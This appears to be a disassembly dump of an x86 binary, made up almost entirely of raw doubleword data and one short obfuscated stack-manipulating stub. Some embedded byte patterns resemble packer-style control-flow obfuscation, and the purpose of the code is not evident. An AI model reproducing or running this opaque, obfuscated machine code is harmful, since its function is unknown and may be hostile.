		dd 0B42D40BEh, 4B56CB3Dh, 0DBF8EC39h, 8A10FFC5h, 0FBF5FBB4h
		dd 0ACC23C12h, 0B440C42Fh, 0EE82755Fh, 3834ACF1h, 48E0549Fh
		dd 1ED5C05Fh, 0C729B6AAh, 89DACA29h, 417CF09Bh,	8A1019A3h
		dd 658B0DB4h, 33ACC038h, 3D6C0h, 4F370000h, 0B0154784h
		dd 4653CF41h, 0BA2739ABh, 2BAEC537h, 0BCDD54C8h, 2FAAC335h
		dd 0BFD850C4h, 32AFC034h, 0C9D04DBFh, 26685D2Ah, 8900004Fh
		dd 0BE562424h, 4, 4247401h, 66C6685Eh, 3C890000h, 2506824h
		dd 34890000h, 7FA7BF24h, 0C14F25D4h, 554708EFh,	19B572BDh
		dd 5DEF3109h, 8904EC83h, 4812424h, 424h, 0BB535E00h, 8
		dd 4E68C381h, 0F3011C69h, 4E68EB81h, 3B891C69h,	2434FF5Bh
		dd 4C4835Eh, 5F2434FFh,	0E904C483h, 0FFF917A0h,	988E779Ah
		dd 0C8B88F0Dh, 3093C66h, 0CDE0FFC5h, 4B6A80B2h,	923DCDCBh
		dd 736188A8h, 0C84E21DCh, 0A3C357Ah, 2652C79Bh,	8D482A31h
		dd 3C68308Dh, 0A9B58909h, 89093530h, 3516298Dh,	51006A09h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 0F6B8A5B6h, 6F2FC5B3h, 9509808Eh, 935255Dh, 287D85C7h
		dd 61A80935h, 958B0000h, 9350D91h, 225585C7h, 935h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0D440FC3h, 0D15B5FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0FF70FC3h, 385h, 88CF8000h
		dd 0D0595FFh, 870F0935h, 1Bh, 0FE8h, 37EBBE00h,	386FC910h
		dd 34AA450Eh, 2001E6D0h, 1601BD8Bh, 6A5B0935h, 2995FF00h
		dd 8B093508h, 954CEBC0h, 967AD5A6h, 0D03CCF6Ah,	2E24EE5Eh
		dd 0C6E79584h, 73C3FA63h, 4FC9308Bh, 94F02D77h,	2EF86C4Dh
		dd 46780610h, 0C9A41EBFh, 5D0D268Bh, 4B13ED1h, 0E2184FA4h
		dd 92EA333h, 9EA62C7Bh,	3B436903h, 0C15ACAE6h, 2582DF06h
		dd 0EB8021DAh, 0D23BD904h, 540E91Ch, 99BB0000h,	84995F3Ch
		dd 67F8801Dh, 0C75F217Ah, 1E17C9D2h, 6019227Bh,	7526B3AAh
		dd 306D6803h, 7429B6A8h, 366770ECh, 1EA43A92h, 1A12F9D9h
		dd 0A7BB4589h, 4713BA3Ah, 0D143AE2Bh, 418D4158h, 364119A3h
		dd 378B0D1Ch, 0B1D77F84h, 0FDDA1A45h, 130AE77Bh, 7E96B86h
		dd 0CDE478ECh, 97426407h, 0BE608CBh, 0C0D95567h, 0D547AF31h
		dd 738D4158h, 9716DEFBh, 658C0D25h, 0A15F7AF3h,	4BE11089h
		dd 0DE2FCABAh, 4EE2957Fh, 26624C51h, 363A5278h,	54A0461Ch
		dd 465744DAh, 0F4FF9C92h, 3EEEB80h, 29DCC815h, 6FF1AA37h
		dd 587DF6F3h, 8D082799h, 0E20CE266h, 3A3E810Fh,	0B2431C36h
		dd 0C409C2h, 14A68950h,	0F4787B1Ch, 7C5900h, 153A0000h
		dd 0AD2847B9h, 36418D37h, 8F67891Ch, 3498011Dh,	0EC08958Ah
		dd 41EFD765h, 25F81C36h, 0F9EF1E3Fh, 178894Fh, 57000000h
		dd 0A12BB915h, 9F1C3641h, 3641BB01h, 9B29AF1Ch,	0F26FE115h
		dd 2954F6B9h, 3DB3633Ah, 77EE10B6h
		dd 5189262h, 4BE3559Ch,	0DF3EA34Eh, 0E6FCD0F5h,	1C3545DCh
		dd 0AC1ED6D8h, 0E8A428B1h, 354610BAh, 0EAD00E1Ch, 0DE1C3545h
		dd 10E40AB8h, 30A9C53Bh, 2E47C86Bh, 59D448ABh, 0D243B140h
		dd 7B1E17E2h, 0D5C25E22h, 28B5AA1Eh, 977DE8C9h,	4FFF67B6h
		dd 39672389h, 1C364C93h, 0E6956187h, 9Dh, 0BB2E47A5h, 7B73AA7h
		dd 2D702E4Dh, 8E608EFEh, 6E548A3Eh, 741C35ACh, 35AC842Eh
		dd 645E801Ch, 0B92BB242h, 0F7220DA6h, 0AE1D3965h, 0D94CB140h
		dd 900920EBh, 0BDDC550Bh, 97309036h, 86FCF6A0h,	7445E71Fh
		dd 0A7546C4Ch, 35F3D3F9h, 0CF21C71Ch, 1CBDB527h, 0AE81D0B0h
		dd 0EEC397CCh, 33426D07h, 0B242AC13h, 0E9DB4A2Bh, 0B802A0ECh
		dd 0AA1C3605h, 0AD5EA423h, 16982ADEh, 811F3EDEh, 44688950h
		dd 27000000h, 48AB2E47h, 913D5AD4h, 0BFC99031h,	65913D08h
		dd 0CFB546DEh, 0E7B4253Ch, 0BF2A4744h, 36BD33A6h, 216A3090h
		dd 0A05B47A5h, 3EF7BE54h, 0EFFE1C36h, 0FD094405h, 85E894Fh
		dd 28000000h, 0FAF99E96h, 47DF7E76h, 0D246AD28h, 0C2B2415Eh
		dd 87986351h, 1CD811Ah,	7D7461FFh, 41E3E9FBh, 0E1D71C36h
		dd 579F5148h, 0AD21F9CCh, 41F9C3E1h, 0EBED1C36h, 96415F0Bh
		dd 6A150363h, 0F709AD44h, 1EA43A79h, 1A13011Bh,	15975A94h
		dd 0F6F36FE1h, 51675B78h, 0AECEAC1Ah, 0DAD4C927h, 9F524FE0h
		dd 0CB67D91Dh, 319523CEh, 3D13005Ch, 6D01F4E0h,	0BDB12774h
		dd 589B3C34h, 8B21AD4h,	0E5678A17h, 21E9211h, 46EE5E95h
		dd 0DA1ABFB4h, 70EC9F85h, 5C159F45h, 8F111300h,	0DE536D61h
		dd 0E504B295h, 96589ACFh, 401DD95Bh, 8571438Ah,	1282492h
		dd 2E630000h, 0D50BC39Bh, 15035F4Eh, 16A824CAh,	0F3757C19h
		dd 14087C03h, 0D24E128Bh, 0A6BA2EC5h, 2A46BA39h, 5CD246ADh
		dd 0D04DB43Fh, 920301E4h, 31BA5A2h, 1DD95B96h, 89128FA3h
		dd 851664A9h, 560392h, 15C40000h, 576B76EBh, 0C3D5E586h
		dd 25B04489h, 0D00EBE8Eh, 1C35BA1Ah, 8C4088Eh, 35B9F0DAh
		dd 32C2E41Ch, 0B9971DABh, 57AE1C35h, 2C2A816Dh,	0DF1D24EAh
		dd 16B63812h, 35757288h, 0F970861Ch, 0ABE0EE0h,	3575EED4h
		dd 8B08261Ch, 0B8DEE468h, 8F235F3Ch, 64000000h,	43959B2Eh
		dd 0C80C961Dh, 0EDE8837Dh, 0FDFFCB03h, 0ED837366h, 1503534Ah
		dd 4C34983Eh, 22E6459Fh, 0F06F8764h, 0A6F7E07Ch, 7166FE00h
		dd 8A170B85h, 13C8D967h, 0B7441301h, 0B9263ACDh, 0D8B003E4h
		dd 0FB85AEF4h, 597F0BD4h, 0BB8CF49Ah, 0EE5E0A7Fh, 0B5A923D3h
		dd 0D2ECA02Ch, 32B63D5Ah, 2CDE0AB0h, 1CD8FE1Ch,	4E36A795h
		dd 45123989h, 390EBC4Dh, 0A59F2ABDh, 0B211BBE9h, 0E3051C2Ch
		dd 2CB1BB01h, 0C729AF1Ch, 9A74D907h, 46681500h,	0EB157655h
		dd 5876A77h, 7B5366F1h,	29A88D53h, 14A6150Ah, 0EF718019h
		dd 77575907h, 1E92DF47h, 0DC530D18h, 0C0E43749h, 0E46B8B65h
		dd 0FBF07E3Eh, 277DAA3Bh, 0D8C15DCFh, 0C8213DC3h, 4BA64851h
		dd 0CC34D7A7h, 40A6EB67h, 9B7C1EB4h, 0BCB4009Bh, 0CD64D81Bh
		dd 5DA325CCh, 821AD9C0h, 53B8B3A1h, 1B17E2D2h, 0CC428150h
		dd 0AC42BEF1h, 0ECF569EFh, 0FE9B9305h, 0AC9805F3h, 3F5C45D9h
		dd 0B53CA5B9h, 3CDh, 844FFE00h,	41B01547h, 0AB4653CFh
		dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h
		dd 0BF32AFC0h, 2AC9D04Dh, 0E389535Dh, 4C381h, 0EB810000h
		dd 4, 5C241C87h, 68240489h, 4F19h, 50242C89h, 405E089h
		dd 2D000000h, 4, 5C240487h, 51241C89h, 3C688CB9h, 8BCD8909h
		dd 0C481240Ch, 4, 241C8B54h, 4C481h, 55510000h,	78240481h
		dd 59522E55h, 5578E981h, 4B89522Eh, 34FF5908h, 0C4835B24h
		dd 242C8B04h, 5E08950h,	4, 405h, 24048700h, 110EE95Ch
		dd 7B2FFFF9h, 47B8A7DAh, 3093C6Dh, 14E0FFC5h, 1A75CFE0h
		dd 0D44921EFh, 0C6271593h, 25A5AF3h, 787896C9h,	820D1A87h
		dd 0F8655923h, 7452D687h, 81083455h, 0F029FE94h, 0F86B78ECh
		dd 721994F1h, 7E642353h, 44794231h, 425521B7h, 0E53478C7h
		dd 0D476775Ah, 0DB1FF81Ch, 0A215B3EEh, 7D0FBE48h, 8C6003A2h
		dd 0BF26981Ch, 465CDE2h, 0EB786F12h, 0B52CF704h, 50CE954h
		dd 55070000h, 0B8B52B70h, 6B047C21h, 0B3AB2D6Eh, 6A037526h
		dd 14652E6Fh, 0C1DAFF76h, 0ECB1243Fh, 0C0DDFA74h, 0E2BB2438h
		dd 0BA009EEEh, 0AE12F9D3h, 2B479E1Dh, 416C568Ch, 46681C36h
		dd 1BA549A8h, 0A7579A07h, 5EB1BB8Ah, 0E511DF87h, 0B6E7F26Bh
		dd 42B12E42h, 0DE5552CEh, 279935BBh, 14819E0Bh,	5E955BDDh
		dd 21931ADAh, 0F75E950Ch, 57CBBEA6h, 26507A28h,	0A2441C36h
		dd 97894F4Ch, 0F19D910Ah, 362709B3h, 25DBFD1Ch,	0F5678F0Ah
		dd 21935E7Bh, 74648F0Ah, 5CACF0D0h, 64DCFFE3h, 0A6514390h
		dd 0CE920B88h, 1EAE4552h, 1C355097h, 60654F9Eh,	0CEA3C65Eh
		dd 0DE4A2530h, 696D559Bh, 332AA0FDh, 729B43B3h,	0F88950A4h
		dd 886C6906h, 43E1h, 2B47B200h,	11B543AEh, 161C3642h, 113C1D07h
		dd 56894FFAh, 1, 0AF2A4735h, 445DD044h,	0B6233BADh, 9D87D63Bh
		dd 316A77EAh, 7526B3AFh, 980EF1D1h, 0FEF5E07Fh,	2981467Ah
		dd 9B0418E6h, 8120D458h, 48AB2E47h, 0D85059D4h,	41BD079Dh
		dd 37B91C36h, 259737B9h, 0E3658C0Dh, 5A99001Dh,	319F1ED6h
		dd 6C05F0E4h, 412F954Bh, 852B1C36h, 0C259636Bh,	0A73229D7h
		dd 4F2CC84Ch, 0E50C9589h, 12E1FC73h, 0C65D5F2Fh, 589C20D3h
		dd 1D40190Bh, 6D895000h, 0C0DD53h, 0AE2344CCh, 14C333CAh
		dd 5Fh,	0AB2E4773h, 3E5BD448h, 0B02941B3h, 4653CF41h, 0E4D03DABh
		dd 0AB990C01h, 4B5049E0h, 110D9C95h, 0E78B6688h, 0BB3B5ED5h
		dd 1CB02941h, 0E1108DA2h, 3518975Fh, 0DA03C4B0h, 0B0894FFFh
		dd 0C69487D0h, 0FBFB496Eh, 2D4Ch, 2E477B00h, 829923ABh
		dd 0EC60DF17h, 0F68E6572h, 0D54C3F25h, 47F4D7C4h, 0B444AF2Ah
		dd 1C364211h, 3E1F0518h, 894FFA0Fh, 158h, 28473700h, 416F558Bh
		dd 456B1C36h, 58D448ABh, 57C4B43Fh, 28859A6Dh, 0D64AA936h
		dd 3CB23C59h, 5D35805Fh, 8EA31D71h, 824DE313h, 76150363h
		dd 130F8170h, 0BFDC6058h, 30BEF85Dh, 6079F56Bh,	5ED3ED91h
		dd 2DC3DE53h, 1CB242C6h, 13009798h, 9A6D57A4h, 0FC841986h
		dd 87C7760h, 0F8688B14h, 52CEB9ABh, 1B725845h, 4C9285A4h
		dd 15Ah, 73EB157Bh, 0ED098B66h,	37974F5Ah, 35E82A9h, 0EE807615h
		dd 80736E01h, 7DFFF2FCh, 0FCF2EF83h, 0D0EF83F5h, 0E1FCAEF0h
		dd 0F8EAE075h, 1300CED2h, 0CDCE20C6h, 3A68170Bh, 1300CE90h
		dd 658C6284h, 8F627FF3h, 3C0B421h, 0CEB319C7h, 0DFA71300h
		dd 0CEFBC1h, 7E9EF13h, 0F8E17DEFh, 6C5EAFA3h, 43099285h
		dd 0C5000000h, 0DAF1DB09h, 0D3E51300h, 2DAF425Fh, 2E8C33C3h
		dd 3F5AD787h, 0EAD00EB4h, 0DE1C3641h, 14B836B8h, 364214CEh
		dd 0E30E901Ch, 36416F55h, 0B59F861Ch, 8A4202A9h, 36419E54h
		dd 7941A1Ch, 0B1DBh, 9B2E2C00h,	0BBF0BC3h, 3641EFD5h, 3997EB1Ch
		dd 35586425h, 3DD323CDh, 1502BBFAh, 9CE4E8EEh, 6D914456h
		dd 9B22D28Ah, 20AC3529h, 0AC8C366Ch, 66881300h,	0D7388C5Ah
		dd 0AEAD561h, 2AB7AB2Dh, 795B23C7h, 6875EA76h, 0FC1C8F58h
		dd 4FA812D0h, 0FA9C1300h, 503364FAh, 4CD91300h,	28B1AD58h
		dd 9C1D473h
		dd 39A21FC5h, 1CC20BD4h, 0D2CF63D5h, 79EDC2FAh,	0D1F1EE82h
		dd 0A84CCDF3h, 1ABFB729h, 0D0C965D7h, 7262B321h, 25690D77h
		dd 2CFD357Fh, 47AF311Ch, 53660AFAh, 0E50B968Bh,	0E81EBBE9h
		dd 0A2D61500h, 1302401h, 0ED847ABEh, 6D8305ECh,	9B2E7B30h
		dd 0FCD50BC3h, 0F8150A2Bh, 9589FBF6h, 0F3978F0Ch, 0F9D407ADh
		dd 0B5203F12h, 0E608BA3Eh, 559C0518h, 0B5A923D3h, 737C52Ch
		dd 383882AFh, 1EA43A8Eh, 1AC78110h, 21136094h, 0E0BDDA56h
		dd 589B0418h, 881108B2h, 5D78F769h, 18DC1296h, 9ADB8EA6h
		dd 4DA6C974h, 77791C17h, 6B795579h, 0C780EB61h,	0F1009991h
		dd 0A353556Fh, 0F5DF2C1Ch, 0DCE6FCD0h, 14C780EBh, 0A0467C1Dh
		dd 6946DA54h, 5F7AF7F2h, 13DE1094h, 0BA3E5F91h,	6B9539A6h
		dd 8F0EE6F3h, 435ED1EBh, 0E0C82CB0h, 14h, 32AD1531h, 0A86D5544h
		dd 0D7A02AB8h, 12941C35h, 0E3AE18DCh, 41B01547h, 0AB4653CFh
		dd 37BA2739h, 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h
		dd 0BF32AFC0h, 2AC9D04Dh, 6704685Dh, 3C890000h,	0E2895224h
		dd 4C281h, 0EA810000h, 4, 5C241487h, 68241C89h,	14BFh
		dd 68240C89h, 6C9E5AB9h, 81DBF75Bh, 851B2FCBh, 2FF3815Eh
		dd 68D6D9D1h, 75F7h, 81242489h,	42404h,	81590000h, 4ECh
		dd 241C8900h, 8B08418Fh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5464A4
; ---------------------------------------------------------------------------
		db 1, 32h, 46h
		dd 483FFE11h, 33F63807h, 0C7B87EF7h, 3093C72h, 42E0FFC5h
		dd 667FB6FCh, 0FD01ABD9h, 0FA0C9656h, 0DD3152EAh, 0F90E053Ah
		dd 0EB27E349h, 10h, 3 dup(0)
		dd 0E9C08B00h, 14h, 5F70E0B8h, 92707DFEh, 92347CFAh, 0DF91E776h
		dd 0D4693A27h, 26A1BD83h, 75000935h, 79BD8309h,	93530h
		dd 53501974h, 2DB8C08Bh, 89000004h, 352AC185h, 389D8D09h
		dd 0FF0937B4h, 83585BD3h, 353079BDh, 17740009h,	2DB85350h
		dd 89000004h, 352AC185h, 279D8D09h, 0FF0937B1h,	89585BD3h
		dd 3526C1B5h, 55006A09h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0F73B12C0h, 0F4845F16h, 0F78B66CCh
		dd 0C08BD78Ah, 8D0Fh, 8D8B0000h, 9350B45h, 29A5958Bh, 0F9830935h
		dd 79840F00h, 53000000h, 645AF38Bh, 2C3D8Bh, 66600000h
		dd 0C662DA81h, 0FD6BBB66h, 0FFF0B61h, 5B84h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0B4A1645Fh, 0F21C370h, 6A3F8BC7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 7854C350h
		dd 0C032F894h, 2CC98D29h, 0AAF30935h, 225D958Bh, 95890935h
		dd 93525C9h, 50414935h,	51006A53h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 2BDD4CD4h, 8B49DB91h
		dd 0DE9D6h, 43CC0000h, 0FC9C2E2Ch, 79765CA1h, 0C6293AE7h
		dd 35179D85h, 0CE814709h, 67FA329Dh, 685EF551h,	96D8B9DDh
		dd 68B0F57h, 50000000h,	5A310F52h, 34815E58h, 0E31F124h
		dd 0B5FFF54Ah, 935167Dh, 2A6DB58Bh, 858D0935h, 9387B70h
		dd 8BF0B70Fh, 6AD0FFF2h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 1E74C356h, 186DF473h
		dd 4898589h, 85890935h,	9352F89h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0FAC35747h,	0AAD5D6B7h, 16454264h
		dd 880F9Dh, 0C6000000h,	35179D85h, 6A5309h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E911CAC3h
		dd 8, 0DDCFF130h, 9212217Ch, 4E8h, 986AFC00h, 50D08B88h
		dd 14E8h, 2E4BD900h, 0E65ED801h, 8CF65BF7h, 0C6F8546Eh
		dd 1C8D1CEEh, 10E9DAh, 0B53A0000h, 9DBE44AAh, 71AF50FCh
		dd 3BE85EC2h, 8B5AEC55h, 60042444h, 0E8DE32BAh,	8B614Fh
		dd 4244489h, 8B58F38Bh,	7DB5FFF2h, 80093516h, 858D52D6h
		dd 9387B70h, 10CDB58Bh,	958B0935h, 9352C51h, 0BD89D0FFh
		dd 9350DF9h, 3D39858Dh,	6A0938h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 858941C3h, 9351EA1h
		dd 0E4C28166h, 6D958B44h, 6A093527h, 0FFFF6A20h, 351EA195h
		dd 41493509h, 85C75350h, 93515F9h, 1, 227585C7h, 935h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0B7B791C3h, 85A5158Dh, 0F2462D8h,	6AF7BFh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 6B4BC4C3h, 0A595D2DCh, 59B58B05h, 89093502h,	351D8595h
		dd 65BD8309h, 93523h, 8A840Fh, 0EA810000h, 0A1342A4h, 0F9858BFCh
		dd 0E909351Bh, 11h, 0A6E01EE3h,	37FB4C4Ah, 4F92CF20h, 5D4E1BC6h
		dd 0A36494h, 8B000000h,	352D1195h, 0D858B09h, 6A09352Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0C1CFC352h, 80B8AFA1h, 8D3137DDh,	9351061h
		dd 6AE08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 0AF8FE2C3h, 0B16C3446h, 9589006Ah, 9350C19h
		dd 539BD83h, 0F000935h,	35A85h,	0F28B6600h, 179D85C6h
		dd 0F560935h, 0D568F6BFh, 604B9163h, 95BE5250h,	0F31A0E2h
		dd 870F31h, 5A000000h, 8C0F6058h, 0
		dd 4816161h, 33CD0A24h,	7DB5FF5Eh, 1093516h, 3503918Dh
		dd 70858D09h, 0E909387Bh, 0Fh, 0D60BD8C4h, 5E306AC1h, 1934D9CEh
		dd 0FF233FDFh, 0F6B70FD0h, 1161B529h, 89500935h, 6E92404h
		dd 0B7000000h, 3A7EF057h, 0A58D8D0Ah, 8B09352Eh, 666050D6h
		dd 8961DA8Bh, 0B523240Ch, 93503B5h, 8B0Fh, 46A0000h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0D0C35747h, 7E96D8Ah
		dd 1E000000h, 0C869A611h, 0A168AAD0h, 0B253277Dh, 243481E6h
		dd 53276DA1h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 15h,	2C35242h, 0E9B5FFD9h, 0F093531h, 683h, 4DB58B00h
		dd 0FF093511h, 68C0FD0h, 3000000h, 35003D95h, 1B58B09h
		dd 8B093508h, 3531E9BDh, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 7F0386D8h, 58E0F3Ch, 66000000h
		dd 0ADA2E281h, 0F8C781h, 0CE800000h, 8D89606Ch,	93502E9h
		dd 68A0Fh, 0BD890000h, 935235Dh, 2447C761h, 60000020h
		dd 0BD83D68Bh, 93C736Fh, 15840F00h, 0F000001h, 687h, 850F00h
		dd 83000000h, 0D78B28C7h, 6A2E07C7h, 0BE666469h, 47C72942h
		dd 61746104h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0ECD80FECh, 0F2BF0FA7h, 7377858Bh
		dd 6A093Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 7866BC3h,	0A50F6F16h, 0C4789B7h, 26B9B58Bh
		dd 858B0935h, 93C737Bh,	0CE8h, 0D12B9D00h, 6D87557Ch, 6EC09D9h
		dd 69B58B1Ch, 5E09350Fh, 38C0Fh, 0BF0F0000h, 84789D6h
		dd 89A4BE66h, 8928C783h, 3503AD85h, 2E07C709h, 0C76E6F63h
		dd 69660447h, 0BF0F0067h, 73858BD0h, 0B6093C73h, 12880F8Eh
		dd 0E8000000h, 9, 512B1DBEh, 0EF477632h, 0A8C28027h, 0C47895Eh
		dd 8BF7BF0Fh, 3C736F85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 669B7B9Eh, 89B097BEh
		dd 0DA810847h, 209FD029h, 0D9D8958h, 8D093523h,	352A598Dh
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0CE9B6h,	0A3B10000h, 0F669FCA4h,	57C56BF2h
		dd 6650E3EEh, 0C89D78Bh, 0BD336024h, 9350E19h, 0A5B5FF61h
		dd 8909352Eh, 35123595h, 4E809h, 10000000h, 5E90000h, 0E4000000h
		dd 8D40D9B2h, 8BD38B50h, 0E9042444h, 11h, 0C7DC6EE4h, 7E0EA353h
		dd 0E959AFC8h, 31B5AB1Bh, 66008B80h, 89F80BBEh,	60042444h
		dd 3F70F3BEh, 0D08B6643h, 29525861h, 3503958Dh,	0B5FF5E09h
		dd 93531E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	2CC35141h, 0A19A0288h, 0D0FFF592h, 3A0ABA57h, 0B85A7E0Ah
		dd 0
		dd 0BD7BF0Fh, 25840FC0h, 0F000000h, 68Ah, 0B98D8900h, 0FF093512h
		dd 352AD9B5h, 1810F09h,	0F8000000h, 0D0595FFh, 0BD890935h
		dd 9352745h, 958BC08Bh,	9351219h, 26A1BD83h, 75000935h
		dd 79BD8309h, 93530h, 53501974h, 2DB8C08Bh, 89000004h
		dd 352CA985h, 9F9D8D09h, 0FF0937B4h, 83585BD3h,	353079BDh
		dd 17740009h, 2DB85350h, 89000004h, 352CA985h, 409D8D09h
		dd 0FF0937B1h, 0E8585BD3h, 9, 893C76F9h, 33F1AC7Bh, 0F7B70F78h
		dd 57006A5Ah, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 66298D23h, 8B66AABAh, 0F3BF0FC0h, 4EBC08Bh
		dd 6BED3443h, 58AE9h, 2D8AA800h, 6C75E870h, 2BB6A92Fh
		dd 6176EE72h, 2CADC43Ch, 33D7A46Fh, 7AFE9F3Ah, 31A7F4E1h
		dd 87F9A23Fh, 0FBADEEEBh, 0C6A70DD3h, 0F2A312F9h, 0AE2B47D1h
		dd 4158D143h, 447F358Dh, 0BFE152DAh, 829E6237h,	628C0D25h
		dd 3A801E6Ah, 2E1C357Fh, 21C54CA8h, 0E212879Fh,	66FBF468h
		dd 0D8F4787Bh, 358000CAh, 0FCF2F41Ch, 0F3EE83F5h, 5148E1DBh
		dd 66B71EA5h, 0B429597Eh, 0E0D80B07h, 0F239D59h, 508E3A92h
		dd 1C35FF6Ah, 0DFBC385Eh, 19A0719h, 0FDF4E17Fh,	0EE05908Bh
		dd 68636FEh, 746D3572h,	0DFC51ADAh, 0F8A5322Ch,	24B5AC4Eh
		dd 0E6D0FAA8h, 22C41C35h, 0DBC458D2h, 0E6458818h, 0B94C1C35h
		dd 54BB12CBh, 7BAC8950h, 0DB000000h, 43AE2B47h,	364211B5h
		dd 1D07161Ch, 0C4768838h, 950518C9h, 534DF42Dh,	1ED60C6Dh
		dd 50804F7Eh, 11889h, 47770000h, 34A1BF2Ah, 699337BAh
		dd 0B01AC8F7h, 0A41C3641h, 9608EC02h, 80150E9Bh, 1911836Eh
		dd 420C7180h, 0AB84787Ah, 6B8BE626h, 0C65B2E16h, 0F20CC2DBh
		dd 0E92617Eh, 0B1F874E6h, 5D20ABF1h, 0E14E90F6h, 4DCDD081h
		dd 56504DA3h, 0AC466C32h, 9C421C35h, 2E47B958h,	59D448ABh
		dd 263FB140h, 51CC40B3h, 0EA3BA948h, 84110FFAh,	594B986Ah
		dd 7922B7AEh, 5E6E6B07h, 0AF347C1Eh, 0AE50B6EBh, 51D024B1h
		dd 795540DFh, 8ECE987h,	573DA889h, 50182776h, 0C4596389h
		dd 6D7219DDh, 21000000h, 23AB2E47h, 0DA1A8799h,	534EE153h
		dd 0F5EC817Bh, 0CA1B8201h, 0A3362FDAh, 0FAEF86FAh, 0C87A7966h
		dd 3FBAEB83h, 905E9032h, 18D9843Ch, 0CD7C481Ch,	3E36AA29h
		dd 938B3599h, 8E6FEE06h, 0F12C2D17h, 968950D5h,	51h, 0AB2E47F5h
		dd 3D5AD448h, 14A61EB6h, 0F2767D1Ah, 6E85120Ch,	0CFB50AEAh
		dd 18B4253Ch, 0E80B88A6h, 18BB9064h, 44AF2A47h,	364211B4h
		dd 842F431Ch, 0B553D324h, 11E00E31h, 824819Fh, 0A292618Fh
		dd 2BA84331h, 9CF1EADAh, 0CB8950DBh, 1,	0AD2847FCh, 515ED246h
		dd 0AB2DC4DDh, 4DBEAE45h, 78266267h, 1C364152h,	41289250h
		dd 7A1C1C36h, 0DC4EA648h, 46765643h, 0C5790F42h, 0CDAA4AB2h
		dd 0DFEFA7F2h, 34416C1h, 0E496EA15h, 0B95A375Ah, 3EB241AFh
		dd 70E8B522h, 0ED21B5FCh, 6098578h, 296509E8h, 0E8FA9F97h
		dd 1300A8E2h, 8E24D0D6h, 1300A826h, 0CFFE536h, 62168710h
		dd 0AE22D1CEh, 0E5A925B2h, 0A8F5BFh, 7EFF113h, 0C741888h
		dd 75CBED7Ch, 6C00FE67h, 0F8FC8073h, 52CEB9ABh,	1B725845h
		dd 4C9285F2h, 165h, 0EDEA8476h,	9B2E6A09h, 4ED50BC3h, 0D415035Fh
		dd 1E77322Ah, 54EE7DB5h, 0E66A8967h, 0B33E600Eh, 0AAC42D41h
		dd 0F4DAC32Dh, 7E2453CAh, 13010334h, 0B440AE30h, 3AB9263Ah
		dd 0CCFFAAC6h, 66551FC5h, 5BC928C6h, 0E118CBB3h, 8BB0266Bh
		dd 5B2E166Bh, 0C8F2DAC7h, 0DAAF4750h, 856C95F8h, 372BD592h
		dd 31C547AAh, 4D8Ah, 872E4900h,	1DC307C7h, 1C364197h, 45E90D93h
		dd 3641459Fh, 0D8516B1Ch, 50AE32C1h, 8937BFD8h,	0B6FC8C67h
		dd 0CD1C3641h, 9A04C38h, 95399539h, 3641654Fh, 0A53F611Ch
		dd 1C36411Fh, 0BD61951Bh, 3641CD27h, 0D6C7E91Ch, 0B0ACh
		dd 0AD15DD00h, 9B37254h, 7948AB1h, 2F7A0DE9h, 6495777h
		dd 0FA1502CCh, 4BE6D8F4h, 0B527A64Eh, 763D30B9h, 0C52323F8h
		dd 2ED01E11h, 504DA330h, 0C30B9488h, 56CA2739h,	0C826AA49h
		dd 8217A52Ch, 8A130105h, 6C008B79h, 0E5235B73h,	922C1040h
		dd 9E886591h, 6094051Ch, 0C20AC2D5h, 0D43C041Ch, 4E7E200Bh
		dd 0BB5E647Ah, 545A1C2Ch, 517D21A0h, 2CBB2993h,	81881B1Ch
		dd 0C1D550DBh, 9F25BB03h, 9B1C2D03h, 0A11BDB15h, 8B0C248Dh
		dd 2D9E8E65h, 0E7788247h, 678A170Ah, 64E80BE5h,	0DAB20590h
		dd 0FB74ACF2h, 6E701500h, 0D2C75C5Eh, 84599D1Fh, 0C7AD15CFh
		dd 0E02B0275h, 0E2B540B4h, 518A22Ah, 0EEB4589Ch, 15097632h
		dd 9E20AC32h, 5DE41085h, 626A77EBh, 89527826h, 0B04612F9h
